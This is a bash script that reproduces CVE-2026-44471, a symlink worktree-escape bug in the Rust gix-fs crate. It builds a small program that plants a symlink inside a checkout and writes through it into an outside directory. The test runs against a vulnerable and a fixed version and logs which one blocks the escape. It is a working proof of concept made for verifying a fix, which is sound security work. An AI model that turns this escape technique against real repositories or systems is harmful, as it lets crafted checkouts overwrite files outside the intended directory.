#!/bin/bash
set -euo pipefail

# Portable root detection - works anywhere
ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

REPRO_CRATE="$ROOT/repro_crate"
WORKTREE_DIR="$REPRO_CRATE/worktree"
FORBIDDEN_DIR="$REPRO_CRATE/forbidden"

cleanup() {
    rm -rf "$REPRO_CRATE" "$WORKTREE_DIR" "$FORBIDDEN_DIR"
}
trap cleanup EXIT

# Ensure we have a patched gix-hash that compiles with modern Rust
PATCHED_HASH="$ROOT/patched_gix_hash"
if [[ ! -f "$PATCHED_HASH/src/lib.rs" ]]; then
    mkdir -p "$PATCHED_HASH"
    REGISTRY_HASH="$(find ~/.cargo/registry/src -name 'gix-hash-0.25.0' -type d 2>/dev/null | head -1 || true)"
    if [[ -n "$REGISTRY_HASH" && -d "$REGISTRY_HASH" ]]; then
        cp -r "$REGISTRY_HASH/"* "$PATCHED_HASH/"
    else
        mkdir -p /tmp/_hash_fetch/src
        echo 'fn main(){}' > /tmp/_hash_fetch/src/main.rs
        cat > /tmp/_hash_fetch/Cargo.toml << 'HEOF'
[package]
name = "_hash_fetch"
version = "0.1.0"
edition = "2021"
[dependencies]
gix-hash = "=0.25.0"
HEOF
        (cd /tmp/_hash_fetch && cargo fetch 2>/dev/null)
        REGISTRY_HASH="$(find ~/.cargo/registry/src -name 'gix-hash-0.25.0' -type d 2>/dev/null | head -1)"
        cp -r "$REGISTRY_HASH/"* "$PATCHED_HASH/"
    fi

    sed -i 's/match self {/match *self {/g' "$PATCHED_HASH/src/kind.rs"
    sed -i 's/#\[derive(Default, PartialEq/#\[derive(PartialEq/' "$PATCHED_HASH/src/lib.rs"
    sed -i '/#\[cfg_attr.*default/d' "$PATCHED_HASH/src/lib.rs"
    sed -i 's/ObjectId::Sha1(b) => b.as_ref()/ObjectId::Sha1(ref b) => b.as_ref()/' "$PATCHED_HASH/src/object_id.rs"
    sed -i 's/ObjectId::Sha256(b) => b.as_ref()/ObjectId::Sha256(ref b) => b.as_ref()/' "$PATCHED_HASH/src/object_id.rs"
    sed -i 's/Self::Sha1(b) => b.as_mut()/Self::Sha1(ref mut b) => b.as_mut()/' "$PATCHED_HASH/src/object_id.rs"
    sed -i 's/Self::Sha256(b) => b.as_mut()/Self::Sha256(ref mut b) => b.as_mut()/' "$PATCHED_HASH/src/object_id.rs"
    sed -i 's/ObjectId::Sha1(digest) => &digest\[..\]/ObjectId::Sha1(ref digest) => \&digest[..]/' "$PATCHED_HASH/src/object_id.rs"
    sed -i 's/ObjectId::Sha256(digest) => &digest\[..\]/ObjectId::Sha256(ref digest) => \&digest[..]/' "$PATCHED_HASH/src/object_id.rs"
    sed -i 's/Hasher::Sha1(sha1) => sha1.update(bytes)/Hasher::Sha1(ref mut sha1) => sha1.update(bytes)/' "$PATCHED_HASH/src/hasher.rs"
    sed -i 's/Hasher::Sha256(sha256) => sha256.update(bytes)/Hasher::Sha256(ref mut sha256) => sha256.update(bytes)/' "$PATCHED_HASH/src/hasher.rs"
    python3 -c "
with open('$PATCHED_HASH/src/object_id.rs') as f:
    c = f.read()
c = c.replace(
    '''        match self {
            #[cfg(feature = \"sha1\")]
            ObjectId::Sha1(_hash) => f.write_str(\"Sha1(\")?,
            #[cfg(feature = \"sha256\")]
            ObjectId::Sha256(_) => f.write_str(\"Sha256(\")?,
        }''',
    '''        match *self {
            #[cfg(feature = \"sha1\")]
            ObjectId::Sha1(_) => f.write_str(\"Sha1(\")?,
            #[cfg(feature = \"sha256\")]
            ObjectId::Sha256(_) => f.write_str(\"Sha256(\")?,
        }''')
with open('$PATCHED_HASH/src/object_id.rs', 'w') as f:
    f.write(c)
"
    cat >> "$PATCHED_HASH/src/kind.rs" << 'EOF'

impl Default for Kind {
    fn default() -> Self {
        #[cfg(feature = "sha1")]
        { Kind::Sha1 }
        #[cfg(all(not(feature = "sha1"), feature = "sha256"))]
        { Kind::Sha256 }
    }
}
EOF
fi

# Create repro crate
rm -rf "$REPRO_CRATE"
mkdir -p "$REPRO_CRATE/src"

cat > "$REPRO_CRATE/Cargo.toml" << 'CRATE_EOF'
[package]
name = "cve-2026-44471-repro"
version = "0.1.0"
edition = "2021"

[dependencies]
gix-worktree = "=0.52.0"
gix-object = "=0.60.0"
gix-index = "=0.51.0"
gix-hash = { version = "=0.25.0", features = ["sha1"] }
gix-fs = "__GIX_FS_VERSION__"

[patch.crates-io]
gix-hash = { path = "__PATCHED_HASH__" }
CRATE_EOF

cat > "$REPRO_CRATE/src/main.rs" << 'SRC_EOF'
use std::path::PathBuf;
use gix_worktree::{Stack, stack};

const IS_FILE: Option<gix_index::entry::Mode> = Some(gix_index::entry::Mode::FILE);
const IS_SYMLINK: Option<gix_index::entry::Mode> = Some(gix_index::entry::Mode::SYMLINK);

fn main() {
    let worktree = std::env::var("WORKTREE_DIR").expect("WORKTREE_DIR required");
    let forbidden = std::env::var("FORBIDDEN_DIR").expect("FORBIDDEN_DIR required");

    let worktree = PathBuf::from(worktree);
    let forbidden = PathBuf::from(forbidden);

    std::fs::create_dir_all(&worktree).unwrap();
    std::fs::create_dir_all(&forbidden).unwrap();

    let mut cache = Stack::new(
        &worktree,
        stack::State::for_checkout(false, Default::default(), Default::default()),
        Default::default(),
        Vec::new(),
        Default::default(),
    );

    let link_path = cache
        .at_path("link", IS_SYMLINK, &gix_object::find::Never)
        .unwrap()
        .path()
        .to_owned();

    #[cfg(unix)]
    std::os::unix::fs::symlink(&forbidden, &link_path).unwrap();
    #[cfg(windows)]
    std::os::windows::fs::symlink_dir(&forbidden, &link_path).unwrap();

    match cache.at_path("link/file", IS_FILE, &gix_object::find::Never) {
        Ok(platform) => {
            let target = platform.path();
            std::fs::write(target, "escaped").unwrap();
            let escaped = forbidden.join("file");
            if escaped.exists() {
                eprintln!("VULNERABLE: file escaped worktree to {}", escaped.display());
                std::process::exit(0);
            } else {
                eprintln!("UNEXPECTED: path resolved but no escape");
                std::process::exit(1);
            }
        }
        Err(e) => {
            if e.kind() == std::io::ErrorKind::AlreadyExists {
                let escaped = forbidden.join("file");
                if !escaped.exists() {
                    eprintln!("FIXED: symlink collision blocked, no escape");
                    std::process::exit(1);
                } else {
                    eprintln!("UNEXPECTED: collision error but file still escaped");
                    std::process::exit(1);
                }
            } else {
                eprintln!("UNEXPECTED error: {}", e);
                std::process::exit(1);
            }
        }
    }
}
SRC_EOF

run_test() {
    local fs_version="$1"
    local label="$2"
    local log_file="$3"

    rm -rf "$WORKTREE_DIR" "$FORBIDDEN_DIR"
    mkdir -p "$WORKTREE_DIR" "$FORBIDDEN_DIR"

    sed -i "s|__GIX_FS_VERSION__|=${fs_version}|g" "$REPRO_CRATE/Cargo.toml"
    sed -i "s|__PATCHED_HASH__|${PATCHED_HASH}|g" "$REPRO_CRATE/Cargo.toml"

    export WORKTREE_DIR="$WORKTREE_DIR"
    export FORBIDDEN_DIR="$FORBIDDEN_DIR"

    echo "=== Testing $label ===" | tee "$log_file"

    if ! cargo build --manifest-path "$REPRO_CRATE/Cargo.toml" --quiet 2>>"$log_file"; then
        echo "BUILD FAILED for $label" >> "$log_file"
        sed -i "s|=${fs_version}|__GIX_FS_VERSION__|g" "$REPRO_CRATE/Cargo.toml"
        sed -i "s|${PATCHED_HASH}|__PATCHED_HASH__|g" "$REPRO_CRATE/Cargo.toml"
        return 2
    fi

    cargo run --manifest-path "$REPRO_CRATE/Cargo.toml" --quiet 2>>"$log_file"
    local exit_code=$?

    echo "Exit code: ${exit_code}" >> "$log_file"
    echo "Worktree:" >> "$log_file"
    ls -la "$WORKTREE_DIR" >> "$log_file" 2>/dev/null || true
    echo "Forbidden:" >> "$log_file"
    ls -la "$FORBIDDEN_DIR" >> "$log_file" 2>/dev/null || true
    echo "" >> "$log_file"

    sed -i "s|=${fs_version}|__GIX_FS_VERSION__|g" "$REPRO_CRATE/Cargo.toml"
    sed -i "s|${PATCHED_HASH}|__PATCHED_HASH__|g" "$REPRO_CRATE/Cargo.toml"

    return $exit_code
}

# Vulnerable test
VULN_LOG="$LOGS/vulnerable.log"
set +e
run_test "0.21.0" "gix-fs 0.21.0 (vulnerable)" "$VULN_LOG"
VULN_EXIT=$?
set -e

# Fixed test
FIXED_LOG="$LOGS/fixed.log"
set +e
run_test "0.21.1" "gix-fs 0.21.1 (fixed)" "$FIXED_LOG"
FIXED_EXIT=$?
set -e

# Emit runtime manifest
cat > "$LOGS/runtime_manifest.json" << EOF
{
  "cve": "CVE-2026-44471",
  "tested_versions": {
    "vulnerable": "gix-fs 0.21.0",
    "fixed": "gix-fs 0.21.1"
  },
  "vulnerable_run": {
    "exit_code": ${VULN_EXIT},
    "log": "${VULN_LOG}"
  },
  "fixed_run": {
    "exit_code": ${FIXED_EXIT},
    "log": "${FIXED_LOG}"
  }
}
EOF

echo "=== Results ===" | tee "$LOGS/summary.log"
echo "Vulnerable exit code: ${VULN_EXIT}" | tee -a "$LOGS/summary.log"
echo "Fixed exit code: ${FIXED_EXIT}" | tee -a "$LOGS/summary.log"

if [[ "$VULN_EXIT" == "0" && "$FIXED_EXIT" != "0" ]]; then
    echo "CONFIRMED: Symlink worktree escape reproduced on vulnerable version and blocked on fixed version" | tee -a "$LOGS/summary.log"
    exit 0
else
    echo "FAILED: Expected vulnerable=0 and fixed!=0, got vulnerable=${VULN_EXIT} fixed=${FIXED_EXIT}" | tee -a "$LOGS/summary.log"
    exit 1
fi
